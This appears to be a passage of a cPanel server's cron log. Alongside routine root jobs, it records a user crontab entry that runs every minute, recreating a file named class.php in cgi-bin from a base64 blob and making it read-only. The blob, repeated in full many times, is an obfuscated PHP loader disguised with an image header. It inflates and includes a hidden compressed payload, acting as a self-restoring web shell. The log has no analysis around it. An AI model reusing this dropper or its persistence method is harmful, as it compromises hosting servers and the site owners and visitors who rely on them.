9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:12:01 server CROND[19230]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 16:13:01 server CROND[19286]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:14:01 server CROND[19384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:15:01 server CROND[19442]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 16:15:01 server CROND[19443]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 12 16:15:01 server CROND[19444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:15:01 server CROND[19445]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 16:16:01 server CROND[19552]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:17:01 server CROND[19687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:18:01 server CROND[19746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:19:01 server CROND[19819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:20:01 server CROND[19890]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 16:20:01 server CROND[19892]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 16:20:01 server CROND[19893]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 16:20:01 server CROND[19894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:20:01 server CROND[19895]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 16:21:01 server CROND[20006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:22:01 server CROND[20056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:23:01 server CROND[20205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:24:01 server CROND[20272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:25:01 server CROND[20325]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 12 16:25:01 server CROND[20326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:25:01 server CROND[20328]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 16:25:01 server CROND[20327]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
